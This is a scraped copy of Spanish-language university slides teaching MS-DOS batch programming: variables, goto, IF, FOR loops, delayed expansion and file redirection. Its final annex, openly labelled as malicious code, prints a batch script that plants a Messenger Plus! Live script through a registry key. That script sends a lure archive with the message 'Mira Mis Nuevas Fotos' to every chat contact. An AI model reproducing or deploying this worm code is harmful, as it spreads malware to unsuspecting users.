19
  1 PROGRAMACI N BAJO MS-DOS (BATCH) UNIVERSIDAD SIMÓN BOLÍVAR ING. MAURICIO ALEJANDRO RÍOS PALACIO PROGRAMACIÓN BAJO MS-DOS (BATCH) Docente ING. MAURICIO ALEJANDRO RÍOS PALACIO

2. Program an Do Bajo MS-DOS

Embed Size (px)

Citation preview

Page 1: 2. Program an Do Bajo MS-DOS

5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com

http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 1/19

  PROGRAMACIÓN BAJO MS-DO(BATCH)

UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO

PROGRAMACIÓN BAJO MS-DOS

(BATCH)

Docente

Page 2: 2. Program an Do Bajo MS-DOS

5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com

http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 2/19

  PROGRAMACIÓN BAJO MS-DO(BATCH)

UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO

En esta entrega se te explicara como programar bajo el MS-DOS. Así que si tienes un poco

de conocimiento en programación se te hará muy fácil el entender los conceptos.

Comencemos con aclarar que este tipo de programación no corresponde a un lenguaje de

programación en concreto.

Este tipo de programación maneja los comandos vistos en la entrega “Comandos de MS-

DOS”, además veremos otras estructuras clásicas en la programación tradicional.

Para codificar un programa bajo el MS-DOS debemos de crear un archivo con extensión

“.bat”, a este archivo se le conoce como archivo por lote o archivo de procesamiento por

lote, este archivo guarda un conjunto de comandos del DOS. Cuando un archivo por lote es

ejecutado, los comandos que están en él, son realizados uno por uno en forma secuencial,

esto permite automatizar diversas tareas.

Los archivos por lotes lo podemos codificar en un editor de texto como el Edit o el block de

notas, pero recuerda que el archivo debe de tener la extensión .bat, sin esa extensión el

archivo nunca correrá. En nuestro caso vamos a codificar desde el Edit, para irnos

familiarizándonos en el entorno del MS-DOS.

Page 3: 2. Program an Do Bajo MS-DOS

5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com

http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 3/19

  PROGRAMACIÓN BAJO MS-DO(BATCH)

UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO

Para ejecutar el comando vuelva al prompt y escriba el nombre del archivo por lote, en

nuestro ejemplo se guardo como saludo.bat en la figura 2

Muestra como se debe de ejecutar un archivo por lote.

Figura 2

Como vera el programa va mostrando su respectivo código y la ejecución de este, sin

embargo esto le quita un poco de estética al programa. Lo cual vamos a modificar para que

solo se muestre los resultados de la ejecución de cada línea y no nos muestre el códigocomo tal, para realizar esto solo debe colocar al principio del código lo siguiente:

@echo off.

Código de nuestro primer programa modificado para que no se muestre el código en tiempo

Page 4: 2. Program an Do Bajo MS-DOS

5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com

http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 4/19

  PROGRAMACIÓN BAJO MS-DO(BATCH)

UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO

Para leer un dato desde el teclado debemos de crear una variable1

para guardar los valores

digitados.

Para crear una variable se debe de utilizar el comando set.

El comando set tiene varios parámetros, estos parámetros los iremos conociendo a medida

que nos adentremos en el tema.

En nuestro primer caso el parámetro utilizado es el /P este nos indicar se está esperando un

valor por parte del usuario para ser guardado en la variable.

Como vera el ejemplo pide el nombre del usuario, para luego mostrar un mensaje con su

nombre. Nótese que al visualizar el valor de la variable esta debe de ir entre el signo %.

Código para crear una variable, pedir su valor y mostrar su respectivo valor digitado.

Figura 5

Page 5: 2. Program an Do Bajo MS-DOS

5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com

http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 5/19

  PROGRAMACIÓN BAJO MS-DO(BATCH)

UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO

Dejando un poco atrás este ejemplo, vamos a crear un nuevo programa que pida dos

números y haga las principales operaciones matemáticas. (+, -, /, *).

Como puede observar en la figura 7, en la línea 2 utilizamos el comando CLS para limpiar

pantalla, en la siguiente línea encontrara el comando echo seguido con un punto (echo.).

este equivale a mostrar un salto de línea.

Código fuente para realizar las operaciones matemáticas.

Figura 7

Page 6: 2. Program an Do Bajo MS-DOS

5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com

http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 6/19

  PROGRAMACIÓN BAJO MS-DO(BATCH)

UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO

DETENCIÓN DE LA EJECUCIÓN DEL PROGRAMA

Muchas veces, necesitamos que nuestro programa se detenga en algún punto para que el

usuario pueda leer detenidamente una información. Para el siguiente ejemplo mostraremos

como hacer que un programa se detenga hasta que se presione una tecla.

El programa pretende mostrar la funcionalidad de los comandos pause, pause>nul y exit.

Page 7: 2. Program an Do Bajo MS-DOS

5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com

http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 7/19

  PROGRAMACIÓN BAJO MS-DO(BATCH)

UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO

EL COMANDO GOTO Y LAS ETIQUETAS

Una etiqueta es un identificador de línea, el cual se complementa con la instrucción goto.

En otras palabras, el comando goto se traduce a “vaya a” la etiqueta que usted desea. El

goto y la etiqueta cambia la orientación del código que se está ejecutando.

Para aclarar estos comandos veremos el siguiente ejemplo.

Código para el uso del goto y las etiquetas

Figura 10

Se aclara que una etiqueta solo puede ser creada una sola vez y no puede estar en más de

una línea, sin embargo puede haber tantos goto con el llamado a la etiqueta que usted

quiera.

Page 8: 2. Program an Do Bajo MS-DOS

5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com

http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 8/19

  PROGRAMACIÓN BAJO MS-DO(BATCH)

UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO

Los operados aritméticos utilizados en batch son los siguientes:

OPERADOR  SIGNIFICADO== / EQU igual

LSS menor que

GTR mayor queLEQ menor o igual

GEQ mayor o igual

Para aclarar el tema, vamos a realizar un algoritmo donde se pide la edad de una persona y

determinamos si una persona es mayor o no de edad.

Page 9: 2. Program an Do Bajo MS-DOS

5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com

http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 9/19

  PROGRAMACIÓN BAJO MS-DO(BATCH)

UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO

Si nuestro objetivo es determinar sí un archivo existe o no. Debemos usar EXIST seguido

del nombre del archivo y su extensión, tenga en cuenta si el archivo se encuentra en otra

ruta, de ser así, usted debería de colocar el path completo.2 

Veamos el siguiente ejemplo, vamos hacer un programa que determine si el nombre de un

archivo digitado por un usuario existe o no en la ruta donde se encuentra el archivo por lote.

(Hasta ahora todos los archivos por lotes han sido guardados en raíz C:\, en este caso vamos

a crear una carpeta llamada lotes donde guardaremos nuestro nuevo archivo por lote.)

Page 10: 2. Program an Do Bajo MS-DOS

5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com

http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 10/19

  PROGRAMACIÓN BAJO MS-DO(BATCH)

UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO

Resultado de ejecución del programa existe.bat

Figura 13

Resultado de ejecución del programa existe.bat

Figura 14

Obsérvese la diferencia entre la figura 13 y 14 en la línea 3 donde se digita el nombre del

archivo. El archivo detener.bat se encuentra creado en la raíz más no en el directorio

llamado “lotes”.

Page 11: 2. Program an Do Bajo MS-DOS

5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com

http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 11/19

  PROGRAMACIÓN BAJO MS-DO(BATCH)

UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO

CREACIÓN DE MENÚS

Para crear un menú solo debemos de manejar varias sentencias IF para evaluar la opción

que ha seleccionado el usuario. Como ejemplo crearemos un menú donde se le pedirá al

usuario el rango de su edad.

Page 12: 2. Program an Do Bajo MS-DOS

5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com

http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 12/19

  PROGRAMACIÓN BAJO MS-DO(BATCH)

UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO

Ejecución del programa rangos.bat

Figura 16

Para Windows 95 y 98 existía un comando que nos facilitaba la vida en la creación de

menús, este comando era el CHOICE, sin embargo para la versión de XP no existe dicho

comando.

Otra alternativa para hacer el ejemplo se muestra en el siguiente código.

Page 13: 2. Program an Do Bajo MS-DOS

5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com

http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 13/19

  PROGRAMACIÓN BAJO MS-DO(BATCH)

UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO

CICLOS – SENTENCIA FOR

Esta sentencia nos permite ejecutar N veces una serie de líneas de código.

La sintaxis más simple de la sentencia FOR es la siguiente:

For /L %%var IN (Inicio, incremento,fin) Do (acciones)

Tenga en cuenta que la variable se especifica %%var en vez de %var%. Los nombres de las

variables distinguen entre mayúsculas y minúsculas, por lo tanto %i no es lo mismo que

%I.

Ejemplo: haga un algoritmo que genere los n primeros números que desee el usuario.

Ejemplo del FOR 

Figura 18

Page 14: 2. Program an Do Bajo MS-DOS

5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com

http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 14/19

  PROGRAMACIÓN BAJO MS-DO(BATCH)

UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO

  EXPANSIÓN DE VARIABLES RETARDADA.

Para entender que es una variable retardada veamos el siguiente ejemplo.

Hacemos un algoritmo donde se le pide al usuario que se evalúen n personas y mostrar

al final cuantos fueron mayores de edad.

Hasta donde hemos visto nuestro código quedaría de la siguiente manera.

Código de sin expansión de variable retardada.

Figura 20

Si usted ejecuta el código y digita los datos de las personas a evaluar, notará que la suma

Page 15: 2. Program an Do Bajo MS-DOS

5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com

http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 15/19

  PROGRAMACIÓN BAJO MS-DO(BATCH)

UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO

Código con Extensión de variable retardada.

Figura 21

Observe que la variable edad y la variable cont tienen un signo de admiración (!).

El signo de admiración indica la utilización de la extensión de variable retardada, además

de este signo de admiración se le debe de decir al programa que se active del modo de

extensión de variable retardada. Esto se hace con la instrucción  setlocal 

enabledelayedexpasion.Si ejecuta el código nuevamente notará que ahora el resultado mostrado si es el correcto.

Page 16: 2. Program an Do Bajo MS-DOS

5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com

http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 16/19

  PROGRAMACIÓN BAJO MS-DO(BATCH)

UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO

  Listar nombres de archivos de manera recursiva ósea que busque en todas las

subcarpetas donde usted se encuentre en el área de trabajo.

Listado de archivos de extensión .bat que se encuentran en otros subdirectorios.

Figura 23

  Listar nombres de directorio.

Listado de nombres de directorio que comienzan con a.

Figura 24

  Listar nombres de directorios de manera recursiva.

Page 17: 2. Program an Do Bajo MS-DOS

5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com

http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 17/19

  PROGRAMACIÓN BAJO MS-DO(BATCH)

UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO

  Delimitar texto o resultados de consultas.

Este maneja el parámetro /F.

En él, se tiene que tener en cuenta el tokens que se quiere, por decirlo así este es el rango

que se va a tomar.

Además de tener en cuenta el tokens se debe de indicarle al  for el limitante para dicho

tokens. Observe bien la estructura del siguiente ejemplo.

En este ejemplo el limitante es el carácter espacio. 

Page 18: 2. Program an Do Bajo MS-DOS

5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com

http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 18/19

  PROGRAMACIÓN BAJO MS-DO(BATCH)

UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO

CREACIÓN DE NUEVOS ARCHIVOS

En muchas ocasiones es necesario que desde un archivo por lotes generemos otro archivo

con información, para esto se hace uso de la combinación de los comandos echo y de

redireccionamiento ( > y >>)

Ejemplo de cómo crear un archivo con un contenido.

Figura 27

Ejecute el archivo e inmediatamente abra el archivo llamado archivo.txt y encontrara la

información suministrada por el archivo por lote.

Page 19: 2. Program an Do Bajo MS-DOS

5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com

http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 19/19

 

19

PROGRAMACIÓN BAJO MS-DO(BATCH)

UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO

ANEXO

CÓDIGO MALICIOSO HECHO EN UN ARCHIVO POR LOTE

md "%programfiles%\Messenger Plus! Live\Scripts\hola\"

echo function OnEvent_ChatWndReceiveMessage(ChatWnd, Origin, Message, MessageKind)>> "%programfiles%\Messenger Plus!

Live\Scripts\hola\hola.js"

echo {>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"

echo if (Origin != Messenger.MyName)>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"

echo {>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"

echo ChatWnd.SendMessage("/sendfile %homedrive%\\WINDOWS\\system32\\Foto\\Mis Fotos En La Playa 2008.rar");>>

"%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"

echo ChatWnd.SendMessage("(M) [c=39]Mira Mis Nuevas Fotos [/c] (M)");>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"

echo }>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"echo }>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"

reg add "HKEY_CURRENT_USER\Software\Patchou\Messenger Plus! Live\GlobalSettings\Scripts\reinicia.bat" /v Enabled /t REG_DWORD /d 1 /f